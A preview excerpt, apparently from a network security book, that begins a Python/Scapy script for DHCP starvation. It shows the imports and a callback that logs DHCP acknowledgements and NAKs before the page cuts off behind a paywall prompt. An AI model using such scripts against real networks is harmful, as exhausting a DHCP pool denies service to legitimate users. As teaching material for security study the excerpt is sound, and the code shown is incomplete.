November 2017
Intermediate to advanced
226 pages
5h 59m
English
Let's try writing a script to starve the DHCP in the network:
from scapy.all import * from time import sleep from threading import Thread
We require Scapy for crafting the packets, and a threading module for threaded execution of the script
mac = [""] ip = []
def callback_dhcp_handle(pkt):
if pkt.haslayer(DHCP):
if pkt[DHCP].options[0][1]==5 and pkt[IP].dst != "192.168.1.38":
ip.append(pkt[IP].dst)
print (str(pkt[IP].dst)+" registered")
elif pkt[DHCP].options[0][1]==6:
print ("NAK received")
This function is called to process ...
Read now
Unlock full access